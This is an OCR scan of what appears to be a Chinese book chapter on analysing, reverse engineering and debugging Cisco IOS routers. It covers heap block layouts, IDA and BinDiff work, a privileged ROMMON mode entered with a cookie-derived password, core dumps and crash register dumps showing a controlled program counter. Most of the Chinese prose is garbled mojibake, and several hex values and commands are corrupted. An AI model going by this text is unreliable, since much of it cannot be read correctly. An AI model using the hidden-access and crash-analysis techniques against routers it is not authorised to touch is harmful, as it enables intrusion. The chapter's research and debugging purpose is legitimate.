TON RS, AEMAMRER, SIRT MANaXgst, ERUFSHNMNRS. X
AIARRAMEHE, BRI T ThERE M ARSI AR, A T e AR AR

TELLET, REDRESHTEREX M ZRANFE, FRERLEE, B BRAE
B BRI BRI . A AT AR I R RGT A A S R, ERRIRRAR,
AL B HBRIH .

AT, M WindowsHILinux REESIA T WRRFHLH, ELWOFRHA A REET W,
FUR TP FTEAT I R A BRI P

13.1 BRI I0S Yk

SERIAT PRI, EAT ALY, KIS H#BIZTIOS (Cisco Internetworking
Operating System). BRMARBERREE, ¥ ML REEEEBITIOS. HHHLTFX
BORREHAR, RBENERN B, SRS ERREHL T AR EFIOSR AR B
9, BHAHEATIOSHRGERAEN AR, X PR, BEARR LR i B8R HRAR, ANt 2k
BEEHEAWE?

R BAHOS R AE 2 & ML HIMITF A, BT A EAE A BARALFR it I3 B e 47 (Bt i 88 |
AT EHEBAESRAGAIT IR, ARG R, K, BRIOSSREIE
FAP S BAEFRAERGER, WBANEIKE,

1311 BHTFA

JORH e R AR A B K/INAS—, BB/ I ) 8 THT B2 4 B K ) oy WA 1938 ~HHLAE 112000
RI, NATRAT. KRR EBARAMEN. Rk, B/ r# b B SPCIXFEE A
H R A& MRS, TiATERE D M RA KB AT & &, —HBUEB 12000751 (5
BTG, SN T A PR o SRR, SEARTR ARG VE RE RN 6 BEAT B i B R R
BN T o

TOSH#MERGUBITAEFECPU L. BRHE &R MCPULMIIF AR —RAZER . Lo, 5
WIViEEH 8 (BIm2500%RF)) B, 3HAECPUEMotorola 68000, 7200771 &Nk, WANE
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2 LURIERMLE (line cards) 8/ T 644IMIPS CPU. BLZEHIBAR& MRS MR RN
PowerPC CPU, Hiltul, | #211700F12600 R 513 i S E A CPURR Y, #EFI20034P4 7
giRipsth ik, REEHEST2EAE.

Hoat AN tIRRT, B T RIEEKGHRREITEECPU LIS, B TIREI & BN
YRR b B B R O 4 A A B R T A LA 9 80 PR A S B A T R R BUR R B
ARG

1312 ®#E

I0SRAI T #AMRGBGHITBR . JERERURA T AMRRNIOS, FFIFHIESLRFREL
B, ERENTE, HHRSHELSANBGER. BI20074E4, BRELFTPRS &
ERIERGET 18 25T R RMIOSERA. MRAITAFBMBIN, —EEafxM L, BHAE
MRAGARFR AR RERARTAER. WREBA L HILEWindows 200081XP LA LR
N R Bl

FELTOS AR AR (4 PR 96 B LSS AR A B T2 — 2 . TOSRRAS e 7 4 AR I AIE (R R AR 15 B B AR
BB IOSM*“F@B‘J?&%TT&%TI?FJ R RATFIIWT .

O mainline/FFIRA &1 TMFEE, RIETLARHHI. XRBAEMIOSHA, thREMR

EHIIEA.

Q Technology/¥# 348 & T AN A R )7 A3E F ¢ E mainline P (R4, FHTRIR.

Q Service Provider 7+ *HISPR T MR VA%, FISZTIR.

Q Enterprise/¥ 5 fiService ProviderF 5 IEAF 4R, LB FAMAM LB %, HERT.

B TRRARFFIS, BURIELT T & RESR B A I RERT BT S0 R B AR . BRI DI hE
A, MBI TR, HOOHAaETHRFE. RFERI. TOSKARFERA S
WRA . RATE LA RSFIIRIRGF . BIL, c7200-is-mz-124-8a binF/RIOSKIA H12.4, KA SR
8a, il FCisco 7200, {X 35T i Tk Cisill # REWKATIP-PluskFEHE, {ERF 72003k BEA — DM,
BRI, MRAMAFHAT . &13-15J£&$TIOSB§U§I1¢££% 4‘%&&1&31(&13 11 13-2
111 ) 7 25 £ M http://www.cisco ing-eng pdf
BRI, #13- zywmmxwzw:*m#w;ﬁx

%131 BRISOMBXHUEPHE—IFE

a APPN a APPN

a2 ATM 86 GPRSFIXZHFHIA (72000

a3 SNASW i PRt

b AppleTalk# i is IPEi, FISDN (mc3810)

¢ RAS in Base IP (8500CSR)

d SR it i 4NkA (kitchen sink 1)

dsc by At o IPXEh i (R )

85 AL (72000 P g5 PG (SRUBRJT i ADOCSIS)
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(€3]
a APPN a APPN
%) BM wp IP/ATM Basc Image (8500MSR,LS1010)
telco Telco yhys PERE (IR HI28)
w3 Distributed Director y7 TP/ADSL
#1322 BRUOSBBXHETRFEFE
561 mEE (DES) 561 m#sE (DES)
ent Plus (S Stelco—ALAD 4 F#t i fBasic
k1 BPI s5 FHDBUI/AIM VoicefjBasic
k2/k8K9  Encryption (DES=k8, 3DES-k9) t Telcoi&
o Bk v VIPEH
o3 B KHR/DS V3.8 Voice (17xx) - v3=VOICE, v8=VOX
s PlusmCat6K/7600_L f{YLAN Only w6 pr-d
2 Voice IP B/IP Voice Gateway ( R# | x(#x2) MCM
26x/36x%/37xx)
$3 Basic(# BUIIPES i1, A T R A #726xx.
36xx)

i1 LERIHE TS, TOSBYRZ MK AR A, HIRRA, 6 AR RIS, X
PRI A/ AR TOS AR 18 4k s A, B % 15 Windows BUUNIXFR 8 1L 8 — () 3 4 A AT RSOA b 2 T
B RS FIRSA FITOS He 4R B3 ) () JR 1 o

FEREK, XM G 2BEAIOS XR (Cisco B H1 8 19 T —RIMERS) 007 ¥ MBTH K.
XRAFH T QNX, Bl AH SHAEMH M AL AR R B, HRH T, #E0IosBg)y
HAATIRE— BB 1)«

13.1.3 10S R4z

SBRIOSHIRHAEN R0, ARG R A RN AORS LSRR AL . T Hiss
B PR R B KSR I — )

I RARAEBFREHEREARIOS,  H4 AT LAIEREAN R AR SR i H— (FIMS-DOS EXEFZ 41 i)
BMERGE. 10SH Arun-to-end FERY . SALHIBHBMERGHILL, 10STERBHATELREH
A seRAb SR, T — B BN SE AT 55 19 3038 M Wi JE A AL EE

1. AEHR

OSHEA MFIAERT A MRS L. RN A BB A RIB Y, AT LSRR o FL
XN FERL, TOSABMEAIIEENAE, 2 r 28 L B o] AT T RERR U 18] (AR .

T0SH A7 4 BT (region), W1&13-377R.
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%#13-3 BRIOSHEFRE
K% ] XH% ]
IText TRATMIOSRE Flash RAFBG (TRNKLET) MASRE
IData EATAHEER Pl PCLE LIMPCIE3E R
Local EATRBIREAR AE IOMEM  :CPUMIRSH IS TN AEER
IBss RAIEE

BT ARV R B W AR R, X R S R, (SRR R TTLE
H BB, ERAERHEEORE.

2.10SH#

B AREHRE—NRTE SR, BHLRE TR, REBURARIHEAZE
ROHZAERETROLMNT, NTES HRRKRERE T . EBFTH NREIE. Z10S

B, MRARMEAEN, XA NIERIR N R R R .

. FAMER G A

FHBARAS . RAVER 38 ERA NSRBI, RATUEBIXFNER. TEfshow
memory iy &4 H ¥ B4 P 7«

Address
81FBC680
B1FF2B10
B1FF795C
81FF7F64
81FF9318
81FF9370
81FF9978
81FFIF80
B1FFB6CA
81FFB74C
81FFC850

Bytes
0000222312
0000020004
0000001504
0000005004
0000000048
0000001504
0000001504
0000005916
0000000096
0000004316
0000002004

Prev
00000000
81FEC680
81FF2B10
81FF795C
81FFTF64
81FF9318
B1FF9370
B1FF9978
B1FFIFE0
BIFFB6CA
B1FFB74C

Next Alloc PC  what

81FF2B10
81FF795C
81FFTF64
81FF9318
81FF9370
81FF9978
81FFIF80
81FFB6CA
81FFB74C
81FFC850
81FFDOAC

80828394
8001BC58
80FFEFFS
BOFFF038
811360CC
81009408
81009434
81009488
80907358
8080888C
80B0EFF4

(coalesced)
Managed Chunk Queue Elements
List Elements
List Headers
*Init*

messages

Watched messages
Watched Boolean
SCTP Main Process
TTY data

TTY Input Buf

AW, AR HAES MR FE SR B AR . TOSIIBEAMER — MR BER. HEITK
Sk e S :

struct HeapBlock (
DWORD Magic;
DWORD PID;
DWORD AllocCheck;
DWORD AllocName;

DWORD AllocPC;

void *NextBlock;
void *PrevBlock;
DWORD BlockSize;
DWORD RefCnt;

DWORD LastFree;

/1 0xAB1234CD
/1 Process ID of the owner

/1 space for canaries

// Pointer to string with the name

// of the allocating process

// Instruction Pointer at the time the

// process allocated this block

// Pointer to the following block

// Pointer to the previous block's NextBlock
// Size and usage information

// Reference counter to this block

// PC when the last process freed this block
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Mot BAPRIEREMEAZ FBU—MFINI AR SR, TEREREN “HTHF",
i s0xFpo110DF, MR EHEMNACRRERERNERE.

RERMAFIOECE T ATREIRES — MR CITRESHIO WERHER. A—
MRABRHMER: SRENEHRER. MFEBlocksizeFBFRA BN AE, BAXAS
REZRRERK IS, HYLH/EHE R FreeHeapBlock4iH:

struct FreeHeapBlock {
DWORD Magic; // OxDEADBEEF
DWORD unknownl ;
DWORD unknown2;
DWORD unknown3 ;
void *NextFree; /1 Pointer to the following free block
void *PrevFree; // Pointer to the previous free block

)

RS, KOS EEOLLEWETDHBIN. BEINL, ERCRBR bR REE L
S BURER . 4 T B LETOS A RAL T ™ AR , BeFRAFCheck Heaps 32 &5 I Py HE %
RREMNEEE. SRS TRE:

0 BRI IBAEHARP;

O WRRERAEA, RKA KR 7 0xFD0110DF;

0 R prevBlockifét A ANULL;

0 KK prevBlockfiil fiNextBlock 44 1] Ak

0 fnNextBlockifét A ANuLL, RREIEMEH TR MRMLE R FEIEHE;

0 ffiNextBlockiBt A ANULL, BREIREMIHA — A PrevBlockiftt ik AL

O ffNextBlockifi4 HNULL (#EMBJE—H0), RREENIELR LR

BT WIS, MR R RO R, EHEAMITIXERA . XERBERREL THE
M AVETSINK, RRRN T B 05 et MRRLRTIBRAL T, BREERTL
T HLEE, BTLLR B8R LA LA A B LB ARSI T, ARATRER AR IR R, X
ey 1 ] G R S R T

3. 1017

TOSTEMFHERT 47 53 SM VG HE: — NI BRRHION A SXANRIRLEFT IR HIE W A7 i
B ERHAEEN, ZHTUMAAERNIERSH EERFENCPUS M EHIB R RN
A NFEX R, IOWAFLESN AL Z UMMM AT A FE b RIKR T, 8 Tkt 28
ARPIIE ¥ AE SR B DR IR it o X6 h K it B R FRE MK, BAREINIHALUE
MG, (RTERER WAL I () IR A . SR X S5 7RSI T . B
Jy BRI O KB RIMTURSSE EATRANG, FTAIOSTEZAT i 3 A% T WG X
B, BUSIONAF R R — BB B KA, FEOREMRQLPARTEEMT, B YaE&l
AR IR AT AER IELEPITR R FE 5 ¥ Check HeapsifiF2 .
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13.2 B 10S BryiRiR

B AR R LRI M LA B R RGN L, FER RGBT . PSR E i 2%
EPIFRTE I BB E RGO EOE: BB R D REURE, HEHhRLNENRL
Hityih, AN ARG T S

R, AR R R AR B A R AR MR . AR RS R L
BSMY B FEEOR IR M, Bk, — MRS BT, ELEBIRamER PR
SR RAARERBIANE, T A v i R B R A TR

T ARV, B ARG RS tBE RE T e i

FEIOSH, LW BB KRN, BRANEHELR, 0SRmRROFFRERETR
NGEBITIIRE. A AR, ROIAGEA SR Fit, REERERAITT RN T8
RS, EEREAAARRT. Hik, €BFI0SL, KSHMERLIAMHEH
R, FIHATENT. XF R BREE T A, ERAR AT RIDERS MR, &
FRTPvA KRB o155 = L T B 0 T T Bk ) 8 PO 3

13.2.1  WhiLEIHKES

FIMIOSIREVN I 2 B L B A T MM Rbuild, TOAMTRIX LM i PIF2 R o e 28 Lo
B e R BRI EN RSB . B E B ERTE RO, KP
—EFIFTRR AN ST . AT AT UBRAE T AT Z PG T 1R 2 i

13.22 B KRS

LEFERME L, PRI RIS — MBI . 1R 5 RARLER S SOXAE S AR
TN, ERIOSTFR#AMITH EAMIFATHMS W RRBL ST, B, YEEREREL T
MBI B, AT ARB WA RIS RIRN . Aok, MWL FEH T
B PNA S . BTN RV BR R RO %, JUARES (BIBIRAHL) 108 b5y
sz
1323 REHHIE

AICAR 0 94 54 R~ TOSHLHIAH IRy R AN o HL bt b B F LB T H ROl
oo RAEASAUR REROWEAE MG RIS, WORAT T AEHY IR BEAF RS 0 SR A IR 45 O
BIN, BAAE R A IR, SR — RSN BT . RBAHENAY H AR A
SENGAR L POBLYG ] B8 LK B B (0 I R A

TOSTELL SR HCHE (0 i LA T R 2B BB Mbug. 1K Eebugih 6 th (1 A8 L2847 R SR (W
PP BRI (SR WA, BRUEZ S, ABTTRERW RALH RIS, RATRBAEFIRIX
Sobug RPTARS, T LRI B R BRI S ], X AMERATIR M, (5086 2 R
HRGPAER WA IR B B o BN AT LAVT Bk A AR ol R BIA MRS, i Hebug
AR I B8 L R B, PR b SR S I R T R AT R IR AT . 5
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—JrH, BiKSRSIAAG— B REECPU LIBT. Tl SECPURERTNRI, My
GUesE, R RAERE R AT A B R T o RIRHBOGE L, TAXEREH AR
Hif fERE %, TCPHAERBIL T EHNEREH R ERNVFE SRR AR Y TiX
e FERBHMRUCRAT R EEAF I R, o OB G  K T AR .

1324 #LTHO

10SH#7 8D Uy A RIS B R A 478 1. B IS ISR RIS . /"4
SRR DA, TIHT A MenableMi= (1580 WIAT LS4V gk i, —MRD> MBI
R RVFE IR WASBUER, B R R R AR R 5. A
i, fRBC A IR TR (Hfsniffer) B ATRESRA U5, EALA 1 3% i % enable
Bt ZEEHIY T, AR A S AP RIRITIE B 20R LS. WU ESAIRENRSI T,
B AL, AT 8 e 5 s SR R B ELHEAUA

13.3 HE@44F10S

WRAREN T IRFWI, B LEATOSBRHATE T, FABIRR AT LR 52
FRIEAMES o B — BARE) T W, AR ER AR AR R IR A ARAD LR 30 A R A S BEUR
AR Fk, PHFERGEE R,

BAMBRBREUBB S M, WEA - ACCOMKS, WA I HMBKAAH . IREAIX
PRI S R EEAT R, TOSHRL T 408 i 882 BT A8 B STRIBITFTPAR %5 28 1 Thfik . L BRATT -

radio#copy flash tftp

PCMCIA flash directory:
File Length Name/status

1 3494896 c1600-y-1.112-26.P4.bin
(3494960 bytes used, 699344 available, 4194304 total]
Address or name of remote host [255.255.255.255)? 192.168.2.5
Source file name? c1600-y-1.112-26.P4.bin
Destination file name [c1600-y-1.112-26.P4.bin]?
Verifying checksum for 'c1600-y-1.112-26.P4.bin' (file # 1)... OK
Copy 'c1600-y-1.112-26.P4.bin' from Flash to server

as 'c1600-y-1.112-26. w bin'? [yes/nolyes

BT R SCPRS, iﬂm?ﬁﬁﬁ?ﬁ& ~ANPEPEREI LAY (BARSCAFAT RS/ L IDA
Proff) 2R FF LA RIS & (CPUD BRI i SCRS BE ko

13.3.1  fFHREIFTRRIR

IOSIIBR SCHF LAY R4 bink B LT HTA BRI GRE, S B RT S Hae
o B, WARSCHRLI—MERE R T TR RS AT BRI . BN B E R
BRGSO (BIIIT0S 11.0) — M LMRIGIFS . W14, TOSHRICHF— MU ELF 3 HIffER
. IXPERNSST IBRAR SCAFRAE SR A T ARE SRS
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HEIOSBYR AT MK FNIDAZ 8T, AU RSB 28, NBRILEREGHRE. B
SERIXAMES, TR I )T R AR R ZIPIR G I A7 HF0x50 0x4B 0x03 0x04, FFRIBRTEN
ZHTEIPIA . FEALE R SR A BL 21l IR SE RSO, PTG R PR e T .
BRI R BRI £ D, ZIPXFAT RERBIE—DRBA I Rid, XFH MM i
K, —RE AL,

— HERMIUE MRS, BT LB AIDA PO T o

B EIWAIGHMMB L, 4726004 5158 & 8 £ R LHAKRIPH & L RIE I ATE
Z44u i) 7T R RARIL24 B T ATT200 R AR T 69 R L AFIPEY 12,4848 XA A7 1L I 64 0
BT RESRERK.

TE— LU R b, IDAERIZEX G (cross references) ATAER AT AHME. WIRIDAIRH]
R R BT AL TR A X 51, A4 7T LURIIDA PythonBA(E B A1 1AL

13.3.2  LL# 10S B

BRIOSHUGSCARABE, R K RA o] R R SRR S AT . 4524 AL R A BTRR AR, i8R
AIRBE, BARRIFRRA L LB AT BRI A% (condition) MEFHLE. HHA
T RA HITOSWUAR S A - HEBI LU (diff), R T e RILBTRA FA MG LA B2 H A,
MHEERRAR, XA RLEAEHRIFRA RN 5o, FIA R TAEsE T MM,
N EABR AL FEL PR o A B A

P BRSO T, AT MTISABRE Security /A 7l fUBinDiff. MJHFE L, &
SEBA T3S B BTAT IR R ATAL TR, AR, AR LRSI 3. R —
B Bl TEAER A SRR AR SR, AT LOAK BN R, AR sk
BT o FABnDiffi) TAFR LR B IERE ), 57 LA BERGIX PR SO (DA SR e 14T 454
ALK . IDAIEE ARE U T BB HG B, BB IR FAEOT RO RS . (E/8
FLERRFIGNU TR RIVG8 AR, BT BUXRESE, F— N RYOT M — 2 R b —
AN BRI IT o K TAEFTHT A T R (RS R R, T LA T I MIDAPython i 4 :

running = 1

address = get_screen _ea()
seaddress = SegEnd( address )

while ( running == 1 ):
naddress = find_not_func( address, SEARCH_DOWN )
if ( BADADDR != naddress ):
MakeFunction( naddress, BADADDR )
address = naddress;

if ( get_item size( address ) == 0):
running = 0
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address = address + get_item_size( address )

if ( address == BADADDR) :
running = 0
if ( address >= seaddress ):
running = 0
SRR, LERAMASEAT A A K . BRSO — ELH XA A S , BT L
HATEERIAETT ) X SOGFFFON G R 0 RIS 90 . — ELAiffSe i, BinDifbHE e 5]
HEABBERT MRBSIK. ERRN%K B LYk Svisual diff, WIATLUTMEME (i ot
HIREIR R HBIEIX 4 IR 275 R BB T
RZER, AT HNDASIRES, EOH—MUMARKNSE RRYS, R RERL
TGRS 2 AT TR SIEAT S MRS b T 2 5 BT N AR R SR
KougHE Y, P Sshill i REFHEREE T R 2 RS .

13.3.3 TR

— BHRE—ANFORE, O BT LR 8 E RS, FIRERERN SRR, R
At DARATUARIA EHEEH 4. IMRRAEITIAH TR, MTRELMIRG, RITERHE
KPR, B4 BN AR ISR T K A R R R S S0 LU A R A T A AR AR

1. BRI EEMHEOTIR

Ciscofft 8% B T —S4BMEAM TH, o LIRS R . HHA%S): 10SE%
Eiicrash# 4%, ROMMONH T fig.

© ROMMON

ROMMONZS T /A th 28K 3, A4 TIACATEHLEFT BIOS. €/ /MIMEBARHS, %
JUIE 9 30 BB SCP B FR 4 RO JE B0, KRR RN IIOS Bl R[] 2R 1 85 o 88 110
ROMMONYE Yy fit A ARAZE S Z MR B 1 88 AT R AT O, LRV BER A Rt iboot
BH. TP 38 AL 1FEHROMMONARES, Tl FLIR4E T S in i (tzh .

U IS B AT R £ 4S5 FIROMMON, 35 ML th F A FIBE AR I 45 1085 758 el B8 SR 50,
AP %% T CTRL+Break K o T 1 (0 i B3 B2, M fi i AROMMON .

System Bootstrap, Version 11.1(7)AX [kuong (7)AX], EARLY DEPLOYMENT

RELEASE SOFTWARE (fc2)
Copyright (c) 1994-1996 by cisco Systems, Inc.

Simm with parity detected, ignoring onboard DRAM
€1600 processor with 16384 Kbytes of main memory

monitor: command *boot® aborted due to user interrupt

rommon 1 >

%MROMMON (fir&boot) 1 5 EBARERE LRGN, il 28 0 AE XS HE I B
MR RRL. FEERWTET, FBURR SRMBE R ER . 4AROMMONRAZNN, #



278 % 13% 2AHI10S HMHA

HEPRHE SRR AR 0T, BT AU A AR BRI FERAE, JERBOT-— T
*%+ BUS ERROR ***
access address = 0x58585858
program counter = 0x400alfe
status register = 0x2400
vbr at time of exception = 0x4000000
special status word = 0x2055
faulted cycle was a word read

monitor: command "boot" aborted due to exception
rommon 3 > context
CPU Context:

do - 0x00000000 a0 - 0x0400618e
dl - 0x0200f6ed al - 0x0202bld8
d2 - 0%00000002 a2 - 0x£4000000
d3 - 0x04005b£2 a3 - 0x0207£534
d4 - 0x020700d6 ad - 0x0207£4£0
d5 - 0x£4000000 a5 - 0x0207beac
d6 - 0x000000d6 a6 - 0x0207fdac
d7 - 0x00000000 a7 - 0x0207£488
pc - 0x0400a200 vbr - 0x04000000

sr - 0x2400
rommon 4 > sysret

System Return Info:

count: 19, reason: bus error
Pc:0x400a200, error address: 0x£4000000
Stack Trace:

FP: 0x0207f4ac, PC: 0x0400b3e8
FP: 0x0207f4bc, PC: 0x04005e3a
FP: 0x0207f4e8, PC: 0x04000414
FP: 0x00000000, BC: 0x00000000
FP: 0x00000000, PC: 0x00000000
FP: 0x00000000, PC: 0x00000000
FP: 0x00000000, PC: 0x00000000
FP: 0%00000000, BC: 0x00000000

FEROMMON L a] U AR B o SR T LU/ S W2 %8, 3 FIERAR IENVRAM (S
BPT, WEER, ATUBRBUER WAL IR R A SXRERESRIE (proof-of-concept)
B FF R T A LTS A A AT R0 B 90—, T AP 9 53 SRR R M B RTOS i T4 b
PRIBCHIR, IXFER A SRR T .

AREEHLE AR, A7 N /EE AROMMONSF AU 7T A B &S . SRR HE,
W FAAEROMMON HHAT fir & A iRAL 8 cookie:

rommon 1 > cookie

R

cookie:
01 01 00 60 48 4£ 5e 73 09 00 00 00 00 07 00 00
05 71 49 52 00 00 00 00 00 00 00 00 00 00 00 00
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AT 3% Eoookief BMAFBUE X T0. 4 TIRAHE, HRBHNATI6N HRHIE, o
LA RTSAMEAR A
0101
0060
484f
5e73
0900

= bl23

B AAMEAT S, FESRANENE (SEHEERFHT), FHROMMONK
FFR#H BRBAHBBIR RIS GEEH) LFFTRER— . BRI
FRANE N MR HLRB AL, EAANHT RBRMHT) M, HTFHRREE
BT, —EAEENE, RISENSRERT:

rommon 2 > priv

Password:

You now have access to the full set of monitor commands.

Warning: some commands will allow you to destroy your

configuration and/or system images and could render

the machine unbootable.

TSR AT ER, RNAZAIIRE, B ERIR, BT
BIRIEH FROMMONSRRFFSL, HHAMAER. —EHNFBMRR, AL A helpfr & BRHEK
AHzhaE.

o il Ak )

TR T B R A S BURB  SX AT REBEAT I 8] RO T — %, BAUE, 108
HORAHRET, CHRGIME B, AT, I0SSTRHEMBT RS FIHLI M flash X RLER N
FRE, s, CEAT LU TFTPIE ARG M B S BTN 28 L. XA ThREAS LAt
#4977 AR 4RI FTHFSUMIOSIRA HIME Ko 0 THE BRI AR BN A A A ., AT B
SRR

radio#conf t

Enter configuration commands, one per line. End with CNTL/Z.

radio(config) #exception core-file radio-core

radio(config) #exception Qump 192.168.2.5

radio (config) #°2

RRER L, B BT BB, RATVRAT Ul #ATwrite corefr ¥k
RREZ ER. EMAMIOSHEIE TFTPIEH T 85 BIRCE MR E A& S0 B HiRRAH
IOSHAERBAN M, —MIEENFEIHEL, 5 MEEHBBIONFRINFER, LA
1 SRS [R5 S D4 S 4 AT SCA ) R L

T B ER SRR, SRR S, SRERFIE, RATT L2t
FH1# 0 (serial console) #H I Be HiAL S Bt 884 AR BLIT (crashinfo) SEIFAI—22.

PR
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BLYEMIOSTE i Bt . 2984 Acrashinfo_YYYYMMDD-123456/1 30+ 5 Blflash L/ R4, B
A% K 2T H M # Y YYYMMDD,  FIBEALE 3 ) 58 #:123456. RATATLLERFTP.
TFTPERRCPI B 47 SO it e 8% ESTRIZ) EAL. BT OIS T 2 &F R E TR
BT T AR AR B

O RME (og) Fidr4pikidst

O i IELERBAT IR i

0 3k Hshow alignmentfi#fiit

O S RC BRI BRAE (IR

O BEATYARINE

O R LT

O BFRHFE

O PTG b

O HREGR

Q WA AAERTI T

108 12.18012.2 GRRBAIITE) L5 HIRRABR T BUAEF= AT SCAE T o AR 547 2%
BIEAE IR BARR A, U2 28045 B 30 IR E A1 G 40 A7 77 48 4R o 2.

Reg00(PC ): 41414140 [Not RAM Addr]
RegO1(MSR): 8209032 [Not RAM Addr)
Reg02(CR ): 22004008 [Not RAM Addr]
Reg03 (LR ): 41414143 [Not RAM Addr]
Reg04 (CTR) : 0 (Not RAM Addr]
RegO05 (XER) : 20009345 (Not RAM Addr]
Reg06 (DAR) : 61000000 [Not RAM Addr]

Reg07 (DSISR) : 15D [Not RAM Addr]
Reg08 (DEC) : 2158F4B2 [Not RAM Addr]
Reg09 (TBU) : 3 [Not RAM Addr]

Regl0(TBL): SEA70B30 [Not RAM Addr)

Regll(IMMR): 68010031 [Not RAM Addr]

Reg12(RO ): 41414143 [Not RAM Addr]

Reg13(R1 ): B2492DF0

Reg14(R2 ): 81D40000

Regl5(R3 ): 82576678 [In malloc Block 0x82576650] [Last malloc Block 0x82576504]
Regl6(R4 ): 82576678

Regl7(R5 ): 82576678

Reg18(R6 ): B1FO1C84

Regl19(R7 ): 0 [Not RAM Addr)
Reg20(R8 ) : 4241 [Not RAM Addr])
Reg21(R9 ): 0 [Not RAM Addr)
Reg22 (R10) : 81D40000

Reg23(R11): 0 [Not RAM Addr]

Reg24 (R12): 22004008 [Not RAM Addr)
Reg25(R13): FFF4BA24 [Not RAM Addr]
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2. GDB Agent

R AR 1 A I TR T RS PR T RS, (HETSUEE R AR Tk, Ahe
WHELHERGES, i, B RICHEEREN S, WEBITH, MIRFFRAR, 5%,
X S LEV R S B e BRTOS B BT b B A BB TR &, X2 RCABISE T o A BAMOSHE
REIFAEFT AR LI R ARLL,  JAMER T AR RATF R SR R A .

SBAHOSZFFGDB TR MR MM XA UM AVFRATE 478 SRR BIER B
BROCEEHAD). S, GDBUYMUELHTCP, (BB RBASEAX XM, GDBHITLE
TR BORE T IOAR, BRI ATFMIGNUITREMK T 65, Bk, €M% (GNU
VR MAERMESGL ) HAHA . SABRE SecurityZE20064F KA T Ar4 AT RATH LA
(L BinNavilty JFRACED, BRS04 T LUR SR & HGDBHR TS SR &. 4R,
TEX B P AU T — BRI E .

RGBSR MGDBIA M AT L AER], {HI0 R 5BinNavidi R, WIAT LA BA BB A B
TAIBRERARADHAT (R B4R . M7EIOS B F I HHIHE B, SR BUAL R DI e T R 4T
FHEHT RS IAREDE 5 0015 8. XTI B T AW MERR I B 0 A A S B AR AR B
4, HBAEIOSHH KB B RAT AW Bt AR T . P AEE AR CRRIARED
HUBES T HE M) EREE TS - SRE R, IR BER O AR 4T
ARSI BARF R

R RS ARG R AN TR A & SEILA TR B IR . R s e
GYIHBIGDBMIARE . H THEBARE LR, &AL R H A4 g
kernel. XA —EHMA, RIHHEF I T BRZMEUF (||| ]). XREGDBHHXH
FFH1 (preamble), FLX i, FRELAT LI HLIRHAM:, I SCHEGDB T4 0 ik 88
XA B . M, — B Hcontinuefr ST ARSI IE W MBAEBI, FHERM R ITRBIG
KRR, B ) G i A RRIOSHLIhAEZ . AT A A R 28 i i Ak B
MY, BRTERA LW AEIE, Rhase? Bh— FRAT S4B A
KT, #HERLEFGDBMHR.

A FAR 4% Y ROMMON) ik 7T ATE S RHOS 6 b 88 _E 4848 IR AT MM BATARAS. (8
MR A L HTbug BRI R WA B (fishellcodery, 1 GDB #1472k B ) U 88 i AL 1
T B TSR HThhE, 125N FIROMMON &R M 38k th 38 LUK 2e 47
Xty AT Sk T Fiit otk
134 WHRER 10S

- ERBLIRNR, T A b TSR 7 iR R L 2 A7 B R AE I AR B T M. ZE TR
HAR AT R T H R SRR BRI S o e B8 00 RN ) 25 R 2 352080, A EIRTRE
i B Check HeapsHE R B AL MIHESIR G54 . TT LA Tl debug sanityfir & MK —RsdFe,
XA A XTTOSHE R ] S M AT o
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1341 #ili

#6108 F[AI#E, T LUt e X 8 RS A HAT, BUBFEHMF & B, BRERES
EARAFA VAP FRROE L (AR R . 10S L RO ATHATH, BT DA BB IR DX R & i
AEAT

B EAR P T & AIOSHMREIX LA TFAASLIE MR Bh . B SR AN F bRt i 2%
HRLS, AN S HA T RACPU, 5 S%# EHfshellcode T . S5 /RIFFZIOSHI#
—HESTRMIRAE AR . BRI, SRR R AR

T IR MR, A ERBIOSHBEL L. 108 MR HIIRE AL,
XA A T FrA R L F30E B, Mshow memory allocating-processfird (X%
LHFIMATER, URETBARA T AR, QFAEIMI2) LRI SR, Bt
WABAIRIOS BLAGA AR M Process Stack%k H. b THREERMATMARIES, WARER
HARID. ARSI % A4 show processes cpufl ASERUXMES. ik, MEEEEA R MIHAT
LU T . SEA RSN AR IER, BT LESIEAT

Address Bytes Prev.  Next Ref  Alloc Proc  Alloc BC What

2040044 1032 2040CC4 2041178 1 *Init* B0EE752  Process Array
2041178 1000 2040D44 204158C 1 Load Meter BOEEAFA  Process Stack
204156C 476 2041178 2041794 1 Load Meter B0EEBOC  Process
radio#sh mem 0x2040D44

02040040 AB1234CD FFFFFFFE 00000000 am

02040D50: 0B0EE700 0B0EE752 02041178 02040CD8
02040D60: 80000206 00000001 OBOEAEA2 00000000
02040D70: 00000020 02041584 0209FCBC 0207SFF8
02040D80: 02076B8C 0207E428 020813B8 0208263C
02040D90: 020ASFEQ 020A7B10 020A8F3C 020C76A4
02040DA0: 020C8978 020C9F2C 020CAA30 020CE704
02040DB0: 020D12EC 020D47B8 020D5AB8 020DB30C
02040DC0: 020DCSEQ 020DDOE4 020DDBES 020DE6EC
02040DD0: 020E7BES 020E8304 020E8E08 020E9DBC
02040DEO: 020ECSA0 020EDOA4 020EDBA8 020EE6AC
02040DFO: 02040268 00000000 00000000 00000000

FUIE BMH MRS T0x02040D74FF . B BERAN IS 18 A2 S Load Meter, FBAZE LTAIH
FH, EMPIDRL, BET LR TR B L

radiot#sh mem 0x02041584°

02041580: 02041120 02041550 00001388

020415C0: 08OEDEE4 00000000 00000000 00000000 ..*d..

LEXAEHIHL, A H R 4 TR 6o B Load MeterfE30B AT — %, Bt
L% i JLUOR 7T LA B — AR L. Flshow stacksfir4&in L2 M9PIDAT LA HIRERZ
18

D FEJE0x02041584, — AL
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radio#sh stacks 1
Process 1: Load Meter
Stack segment 0x20411A0 - 0x2041588
FP: 0x204156C, RA: Ox80E2870
FP: 0x2041578, RA: Ox80EDEEC
FP: 0x0, RA: OxS80EF1DO

FIRBA IR, AT URBEBAR R0 7T TAR MR hE. 28R, BRI S8
HEBRRFIOSHR T I — MR A H X R Rt — R, A EN CLRBIER
IR AR 2 A o BILA IR AR — LR B E I, B0 SRR o ik R B
i TR ARG E S R AEER, AR T RE LR AR, i, XLutREM i
RIRFFAREER, SRERF, ENRRERET O ESRER.

MEAI HARF AT, AT LU RS Wik et sl [l i 77 v E R AT ARG . K
B BRI & IB1T/Ebig-endiankl 8 L, HiElittle-endian P& K, big-endian'F-& LHIBMKEHE
FIARK. A S v B b5 Rlittle-endian, REFEFEMBEN —BHAFI, H2RIEF2405L
LM ARBBIN, LERKMBER G, ThRRA 5OETX N B bE .

REZSEYE, FIETA L, 76108 ERACAEMMITRIGN S ER, WHIEE T KRN
Sk i PO 77 MR SR I A AT AT e SR RO OB A A AT R
